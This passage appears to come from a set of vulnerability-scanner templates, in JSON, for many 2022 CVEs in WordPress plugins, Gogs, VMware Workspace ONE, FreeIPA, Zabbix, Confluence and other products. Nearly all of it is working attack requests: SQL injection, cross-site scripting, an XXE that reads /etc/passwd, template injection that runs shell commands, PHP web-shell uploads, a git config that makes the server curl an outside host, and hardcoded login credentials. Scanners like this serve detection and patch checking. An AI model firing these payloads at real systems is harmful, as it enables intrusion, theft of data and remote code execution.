/>"]}]}]},{"id":"CVE-2022-46020","info":{"name":"WBCE CMS v1.5.4 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /admin/login/index.php HTTP/1.1\nHost: {{Hostname}}\n","POST /admin/login/index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nurl=&username_fieldname={{username_fieldname}}&password_fieldname={{password_fieldname}}&{{username_fieldname}}={{username}}&{{password_fieldname}}={{password}}&submit=Login\n","GET /admin/settings/index.php?advanced=yes HTTP/1.1\nHost: {{Hostname}}\n","POST /admin/settings/save.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nadvanced=yes&formtoken={{formtoken}}&website_title=test&website_description=&website_keywords=&website_header=&website_footer=&page_level_limit=4&page_trash=inline&page_languages=false&multiple_menus=true&home_folders=true&manage_sections=true§ion_blocks=true&intro_page=false&homepage_redirection=false&smart_login=true&frontend_login=false&redirect_timer=1500&frontend_signup=false&er_level=E0&wysiwyg_editor=ckeditor&default_language=EN&default_charset=utf-8&default_timezone=0&default_date_format=d.m.Y&default_time_format=H%3Ai&default_template=wbcezon&default_theme=wbce_flat_theme&search=public&search_template=&search_footer=&search_max_excerpt=15&search_time_limit=0&page_spacer=-&app_name={{app_name}}&sec_anchor=wbce_&pages_directory=%2Fpages&media_directory=%2Fmedia&page_extension=.php&rename_files_on_upload=\n","POST /modules/elfinder/ef/php/connector.wbce.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=---------------------------213974337328367932543216511988\n\n-----------------------------213974337328367932543216511988\nContent-Disposition: form-data; name=\"reqid\"\n\ntest\n-----------------------------213974337328367932543216511988\nContent-Disposition: form-data; name=\"cmd\"\n\nupload\n-----------------------------213974337328367932543216511988\nContent-Disposition: form-data; name=\"target\"\n\nl1_Lw\n-----------------------------213974337328367932543216511988\nContent-Disposition: form-data; name=\"upload[]\"; filename=\"{{randstr}}.php\"\nContent-Type: application/x-php\n\n\n\n-----------------------------213974337328367932543216511988\nContent-Disposition: form-data; name=\"mtime[]\"\n\ntest\n-----------------------------213974337328367932543216511988--\n","GET /media/{{randstr}}.php HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_6","words":["751a8ba516522786d551075a092a7a84"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"username_fieldname","group":1,"regex":["name=\"username_fieldname\" value=\"(.*)\""],"internal":true,"part":"body"},{"type":"regex","name":"password_fieldname","group":1,"regex":["name=\"password_fieldname\" value=\"(.*)\""],"internal":true,"part":"body"},{"type":"regex","name":"formtoken","group":1,"regex":["name=\"formtoken\" value=\"(.*)\""],"internal":true,"part":"body"},{"type":"regex","name":"app_name","group":1,"regex":["name=\"app_name\" value=\"(.*)\""],"internal":true,"part":"body"}]}]},{"id":"CVE-2022-32024","info":{"name":"Car Rental Management System 1.0 - SQL Injection","severity":"high"},"requests":[{"raw":["POST /admin/ajax.php?action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n","GET /booking.php?car_id=-1%20union%20select%201,md5({{num}}),3,4,5,6,7,8,9,10--+ HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"skip-variables-check":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5({{num}})}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-22954","info":{"name":"VMware Workspace ONE Access - Server-Side Template Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%68%6f%73%74%73%22%29%7d"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Authorization context is not valid"]},{"type":"status","status":[400]}]}]},{"id":"CVE-2022-1442","info":{"name":"WordPress Metform <=2.1.3 - Information Disclosure","severity":"high"},"requests":[{"raw":["GET /wp-json/metform/v1/forms/templates/0 HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-json/metform/v1/forms/get/{{id}} HTTP/1.1\nHost: {{Hostname}}\n"],"req-condition":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["mf_recaptcha_secret_key","admin_email_from"],"condition":"and"},{"type":"word","part":"header_2","words":["application/json"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"id","group":1,"regex":["","Backdrop CMS"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"form_id_1","group":1,"regex":["name=\"form_build_id\" value=\"(.*)\""],"internal":true},{"type":"regex","name":"name","group":1,"regex":["name=\"name\" value=\"(.*?)\""],"internal":true},{"type":"regex","name":"form_id_2","group":1,"regex":["name=\"form_id\" value=\"(.*)\""],"internal":true},{"type":"regex","name":"form_token","group":1,"regex":["name=\"form_token\" value=\"(.*)\""],"internal":true}]}]},{"id":"CVE-2022-4321","info":{"name":"PDF Generator for WordPress < 1.1.2 - Cross Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/pdf-generator-for-wp/package/lib/dompdf/vendor/dompdf/dompdf/I18N/Arabic/Examples/Query.php?keyword=\">"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[">","pdf-generator-for-wp"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-44950","info":{"name":"Rukovoditel <= 3.2.1 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=entities/fields&action=save&token={{nonce}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryfKx13B5QBU5Sccgf\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"form_session_token\"\n\n{{nonce}}\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"entities_id\"\n\n24\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"forms_tabs_id\"\n\n29\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"name\"\n\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"short_name\"\n\ntest\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"type\"\n\nfieldtype_input\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"fields_configuration[width]\"\n\ninput-small\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"fields_configuration[default_value]\"\n\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"fields_configuration[is_unique]\"\n\n0\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"fields_configuration[unique_error_msg]\"\n\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"required_message\"\n\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"tooltip\"\n\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"tooltip_item_page\"\n\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"access_template\"\n\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"access[5]\"\n\nyes\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"access[4]\"\n\nyes\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"notes\"\n\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf--\n"],"cookie-reuse":true,"redirects":true,"max-redirects":3,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(content_type_3, \"text/html\")","contains(body_3, \"\")","contains(body_3, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2022-2383","info":{"name":"WordPress Feed Them Social <3.0.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=fts_refresh_token_ajax&feed=instagram&expires_in=%3Cimg%20src%20onerror%3Dalert%28document.domain%29%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["
"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-2376","info":{"name":"WordPress Directorist <7.3.1 - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=directorist_author_pagination"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["directorist-authors__card__details__top","directorist-authors__card__info-list"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-29775","info":{"name":"iSpy 7.2.2.0 - Authentication Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/logfile?d=crossdomain.xml"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Log Start","Log File","iSpy"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1329","info":{"name":"Elementor Website Builder - Remote Code Execution","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/ HTTP/1.1\nHost: {{Hostname}}\n","POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=336b29d7aee0463d8b651303eab505ea\n\n--336b29d7aee0463d8b651303eab505ea\nContent-Disposition: form-data; name=\"action\"\n\nelementor_upload_and_install_pro\n--336b29d7aee0463d8b651303eab505ea\nContent-Disposition: form-data; name=\"_nonce\"\n\n{{nonce}}\n--336b29d7aee0463d8b651303eab505ea\nContent-Disposition: form-data; name=\"fileToUpload\"; filename=\"{{randstr}}.zip\"\n\n{{base64_decode(\"UEsDBBQAAAAAAPEiZ1YAAAAAAAAAAAAAAAAOACAAZWxlbWVudG9yLXByby9VVA0AB8csB2TILAdkxywHZHV4CwABBOgDAAAE6AMAAFBLAwQUAAgACAB8KGdWAAAAAAAAAAA6BAAAHwAgAGVsZW1lbnRvci1wcm8vZWxlbWVudG9yLXByby5waHBVVA0ABzw2B2Q9NgdkPDYHZHV4CwABBOgDAAAE6AMAAKVSXU/bQBB8rn/FgqryoXyUoFZqKAUTnBCJhshxQKiq0Nlex6ee705354T8++45AfLQ9qVv9u3s7OzMfr3QpQ66x8cBHMNU1AsuYcIq7EMksELplIGpUb56jTYzXDuuZB+SEncQD5ha7hCuai5yNFAyC9wBE6IPuWELYDKnD6VBswVCuoG1QPNnFKDRFJg5yNHyhWxBpVIuEAxaraTlSwTMueNy0Wp4KmWwAyN0YB0zDnOQarW3o38ej/tQOqdtv9vFF5GdTFXdi9pVT1bVJsPzlW7rpsF+8K8ZqzSj+eebx3ZtePNe0fC68uic2dKPCWtXKrPjkKf2hXs0tnHntPO5c/IG/V9FrGH5uyI/KcFnB9eqYpzmv47YFi81y35556OdAlxmzOFCmTUMyNIt9C1UbqEwiGBV4VbM0EmsVQ0Zk5RMzq0zPK0pc5+zzLvUUKmcF2tPQm+19Ifg6EwcmsqCKpqf0WRO0Uk0TMC0TgXP4JZnKC0C3Yz2L7akSNOGx3cMvYbZVgMMFREzf4MtQE51A8uN63D6MmNL2ILNmkyuQdCmr8jOn1Z92ygHuiHPUypN6kvm/D4rLgSkCLXFohYt309geBgnN3fzBMLJIzyEcRxOksczAlNgVMUlbqh4pQUnZtrBMOnWJNUzfI/iwQ21hFfj23HySIJhOE4m0WwGw7sYQpiGcTIezG/DGKbzeHo3izowQ6/K5/UvN4smEHIsR8e4sH7pbhAEvIDDPW4tusP3T6Mo+XHAMseX5M/Bz6Oj4J1BVxt5FgSYlQqq/NPh/uA+avc+9nrtk9Pel/0jqgUX34LfUEsHCH5L6n9mAgAAOgQAAFBLAQIUAxQAAAAAAPEiZ1YAAAAAAAAAAAAAAAAOACAAAAAAAAAAAAD9QQAAAABlbGVtZW50b3ItcHJvL1VUDQAHxywHZMgsB2THLAdkdXgLAAEE6AMAAAToAwAAUEsBAhQDFAAIAAgAfChnVn5L6n9mAgAAOgQAAB8AIAAAAAAAAAAAALSBTAAAAGVsZW1lbnRvci1wcm8vZWxlbWVudG9yLXByby5waHBVVA0ABzw2B2Q9NgdkPDYHZHV4CwABBOgDAAAE6AMAAFBLBQYAAAAAAgACAMkAAAAfAwAAAAA=\")}}\n--336b29d7aee0463d8b651303eab505ea--\n","GET /index.php?activate=1 HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_4","words":["5f9bc5edd71c78284dabe630df8cd71d"]}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["admin-ajax.php\",\"nonce\":\"([0-9a-zA-Z]+)\"}"],"internal":true}]}]},{"id":"CVE-2022-23898","info":{"name":"MCMS 5.2.5 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /cms/content/list HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ncategoryId=1' and updatexml(1,concat(0x7e,md5({{num}}),0x7e),1) and 'zzz'='zzz\n"],"matchers":[{"type":"word","part":"body","words":["c8c605999f3d8352d7bb792cf3fdb25"]}]}]},{"id":"CVE-2022-48012","info":{"name":"OpenCATS 0.9.7 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?m=login&a=attemptLogin HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n","POST /index.php?m=settings&a=ajax_tags_upd HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ntag_title=\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["contains(body_1, \"opencats - Login\")","contains(body_3, \"\")"],"condition":"and"}]}]},{"id":"CVE-2022-40359","info":{"name":"Kae's File Manager <=1.4.7 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /kfm/index.php/' HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","x_kfm_changeCaption","kfm_copyFiles"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-4050","info":{"name":"WordPress JoomSport <5.2.8 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 15s\nPOST /wp-admin/admin-ajax.php?action=joomsport_md_load HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nmdId=1&shattr={\"id\":\"1+AND+(SELECT+1+FROM(SELECT+SLEEP(4))aaaa);--+-\"}\n"],"matchers":[{"type":"dsl","dsl":["duration>=5","status_code == 200","contains(content_type, \"text/html\")","contains(body, \"jscaruselcont jsview2\")"],"condition":"and"}]}]},{"id":"CVE-2022-0870","info":{"name":"Gogs <0.12.5 - Server-Side Request Forgery","severity":"medium"},"requests":[{"raw":["GET /user/login HTTP/1.1\nHost: {{Hostname}}\n","POST /user/login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}\n","GET /repo/migrate HTTP/1.1\nHost: {{Hostname}}\n","POST /repo/migrate HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_csrf={{auth_csrf}}&clone_addr=https%3A%2F%2F{{interactsh-url}}&auth_username=&auth_password=&uid=1&repo_name={{randstr}}&description=test\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns","http"]},{"type":"word","part":"body_1","words":["content=\"Gogs"]}],"extractors":[{"type":"regex","name":"csrf","group":1,"regex":["name=\"_csrf\" value=\"(.*)\""],"internal":true},{"type":"regex","name":"auth_csrf","group":1,"regex":["name=\"_csrf\" content=\"(.*)\""],"internal":true}]}]},{"id":"CVE-2022-43017","info":{"name":"OpenCATS 0.9.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /index.php?m=login&a=attemptLogin HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n","GET /ajax.php?f=getPipelineJobOrder&joborderID=1&page=0&entriesPerPage=1&sortBy=dateCreatedInt&sortDirection=desc&indexFile=15)\">&isPopup=0 HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","CATS="],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-34046","info":{"name":"WAVLINK WN533A8 - Improper Access Control","severity":"high"},"requests":[{"raw":["GET /sysinit.shtml?r=52300 HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["var syspasswd=\"","APP"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","regex":["syspasswd=\"(.+?)\""]}]}]},{"id":"CVE-2022-1937","info":{"name":"WordPress Awin Data Feed <=1.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin-ajax.php?action=get_sw_product&title=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(header_2, \"text/html\")","status_code_2 == 200","contains(body_2, 'colspan=\\\"2\\\">')"],"condition":"and"}]}]},{"id":"CVE-2022-23808","info":{"name":"phpMyAdmin < 5.1.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/phpmyadmin/setup/index.php?page=servers&mode=test&id=%22%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E","{{BaseURL}}/setup/index.php?page=servers&mode=test&id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\">","

Add a new server

","phpMyAdmin setup"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-33965","info":{"name":"WordPress Visitor Statistics <=5.7 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 15s\nGET /?wmcAction=wmcTrack&url=test&uid=0&pid=0&visitorId=1331'+and+sleep(5)+or+' HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["duration>=5"]},{"type":"regex","regex":["^1331' and sleep\\(5\\) or '$"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-2414","info":{"name":"FreeIPA - XML Entity Injection","severity":"high"},"requests":[{"raw":["POST /ca/rest/certrequests HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/xml\n\n<!--?xml version=\"1.0\" ?-->\n<!DOCTYPE replace [<!ENTITY ent SYSTEM \"file:///etc/passwd\"> ]>\n<CertEnrollmentRequest>\n <Attributes/>\n <ProfileID>&ent;</ProfileID>\n</CertEnrollmentRequest>\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"word","part":"body","words":["PKIException"]},{"type":"word","part":"header","words":["application/xml"]},{"type":"status","status":[400]}]}]},{"id":"CVE-2022-0415","info":{"name":"Gogs <0.12.6 - Remote Command Execution","severity":"high"},"requests":[{"raw":["GET /user/login HTTP/1.1\nHost: {{Hostname}}\n","POST /user/login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}\n","GET /repo/create HTTP/1.1\nHost: {{Hostname}}\n","POST /repo/create HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_csrf={{auth_csrf}}&user_id=1&repo_name={{randstr}}&description=test&gitignores=&license=&readme=Default&auto_init=on\n","POST /{{username}}/{{randstr}}/upload-file HTTP/1.1\nHost: {{Hostname}}\nAccept: application/json\nX-Requested-With: XMLHttpRequest\nX-Csrf-Token: {{auth_csrf}}\nContent-Type: multipart/form-data; boundary=---------------------------313811965223810628771946318395\n\n-----------------------------313811965223810628771946318395\nContent-Disposition: form-data; name=\"file\"; filename=\"config\"\nContent-Type: application/octet-stream\n\n[core]\n repositoryformatversion = 0\n filemode = true\n bare = false\n logallrefupdates = true\n ignorecase = true\n precomposeunicode = true\n sshCommand = curl http://{{interactsh-url}} -I\n[remote \"origin\"]\n url = git@github.com:torvalds/linux.git\n fetch = +refs/heads/*:refs/remotes/origin/*\n[branch \"master\"]\n remote = origin\n merge = refs/heads/master\n-----------------------------313811965223810628771946318395--\n","POST /{{username}}/{{randstr}}/_upload/master/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_csrf={{auth_csrf}}&tree_path=/.git/&files={{uuid}}&commit_summary=&commit_message=&commit_choice=direct&new_branch_name=\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns","http"]},{"type":"word","part":"body_1","words":["content=\"Gogs"]}],"extractors":[{"type":"regex","name":"csrf","group":1,"regex":["name=\"_csrf\" value=\"(.*)\""],"internal":true},{"type":"regex","name":"auth_csrf","group":1,"regex":["name=\"_csrf\" content=\"(.*)\""],"internal":true},{"type":"regex","name":"uuid","group":1,"regex":[" \"uuid\": \"(.*)\""],"internal":true}]}]},{"id":"CVE-2022-39195","info":{"name":"LISTSERV 17 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/scripts/wa.exe?TICKET=test&c=%3Cscript%3Ealert(document.domain)%3C/script%3E","{{BaseURL}}/scripts/wa-HAP.exe?TICKET=test&c=%3Cscript%3Ealert(document.domain)%3C/script%3E"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","words":["<script>alert(document.domain)</script>","LISTSERV"],"case-insensitive":true,"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-40879","info":{"name":"kkFileView 4.1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/onlinePreview?url=aHR0cHM6Ly93d3cuZ29vZ2xlLjxpbWcgc3JjPTEgb25lcnJvcj1hbGVydChkb2N1bWVudC5kb21haW4pPj1QUQ=="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<img src=1 onerror=alert(document.domain)>=PQ</p>","\u8be5\u6587\u4ef6\u4e0d"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-29455","info":{"name":"WordPress Elementor Website Builder <= 3.5.5 - DOM Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/elementor/readme.txt"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["compare_versions(version, '<= 3.5.5')"]},{"type":"word","part":"body","words":["Elementor Website Builder"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"version","group":1,"regex":["(?m)Stable tag: ([0-9.]+)"],"internal":true},{"type":"regex","group":1,"regex":["(?m)Stable tag: ([0-9.]+)"]}]}]},{"id":"CVE-2022-32026","info":{"name":"Car Rental Management System 1.0 - SQL Injection","severity":"high"},"requests":[{"raw":["POST /admin/ajax.php?action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n","GET /admin/manage_booking.php?id=-1%20union%20select%201,2,3,4,5,6,md5({{num}}),8,9,10,11--+ HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"skip-variables-check":true,"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5({{num}})}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-47966","info":{"name":"ManageEngine - Remote Command Execution","severity":"critical"},"requests":[{"raw":["POST /SamlResponseServlet HTTP/2\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nSAMLResponse={{url_encode(base64(SAMLResponse))}}&RelayState=\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["Unknown error occurred while processing your request"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2022-4328","info":{"name":"WooCommerce Checkout Field Manager < 18.0 - Arbitrary File Upload","severity":"critical"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php?action=cfom_upload_file&name={{randstr}}.pHp HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=------------------------22728be7b3104597\n\n--------------------------22728be7b3104597\nContent-Disposition: form-data; name=\"file\"; filename=\"{{randstr}}.php\"\nContent-Type: application/octet-stream\n\n<?php echo md5(\"CVE-2022-4328\"); ?>\n\n--------------------------22728be7b3104597--\n","GET /wp-content/uploads/cfom_files/{{to_lower('{{randstr}}')}}.php HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["fe5df26ce4ca0056ffae8854469c282f"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-23134","info":{"name":"Zabbix Setup Configuration Authentication Bypass","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/zabbix/setup.php","{{BaseURL}}/setup.php"],"stop-at-first-match":true,"headers":{"Cookie":"zbx_session=eyJzZXNzaW9uaWQiOiJJTlZBTElEIiwiY2hlY2tfZmllbGRzX3Jlc3VsdCI6dHJ1ZSwic3RlcCI6Niwic2VydmVyQ2hlY2tSZXN1bHQiOnRydWUsInNlcnZlckNoZWNrVGltZSI6MTY0NTEyMzcwNCwic2lnbiI6IklOVkFMSUQifQ%3D%3D"},"matchers-condition":"and","matchers":[{"type":"word","words":["Database","host","port","Zabbix"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-29272","info":{"name":"Nagios XI <5.8.5 - Open Redirect","severity":"medium"},"requests":[{"raw":["GET /nagiosxi/login.php?redirect=/www.interact.sh HTTP/1.1\nHost: {{Hostname}}\n","POST /nagiosxi/login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnsp={{nsp_token}}&page=auth&debug=&pageopt=login&redirect=%2Fwww.interact.sh&username={{username}}&password={{password}}&loginButton=Login\n"],"host-redirects":true,"max-redirects":2,"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}],"extractors":[{"type":"regex","name":"nsp_token","group":1,"regex":["<input type=\"hidden\" name=\"nsp\" value=\"(.*)\">","<input type='hidden' name='nsp' value='(.*)'>"],"internal":true,"part":"body"}]}]},{"id":"CVE-2022-26138","info":{"name":"Atlassian Questions For Confluence - Hardcoded Credentials","severity":"critical"},"requests":[{"raw":["POST /dologin.action HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nos_username={{os_username}}&os_password={{os_password}}&login=Log+in&os_destination=%2Fhttpvoid.action\n"],"payloads":{"os_username":["disabledsystemuser"],"os_password":["disabled1system1user6708"]},"attack":"pitchfork","matchers":[{"type":"dsl","dsl":["location == \"/httpvoid.action\""]}]}]},{"id":"CVE-2022-44947","info":{"name":"Rukovoditel <= 3.2.1 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=entities/listing_highlight&action=save&entities_id=24&token={{nonce}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: 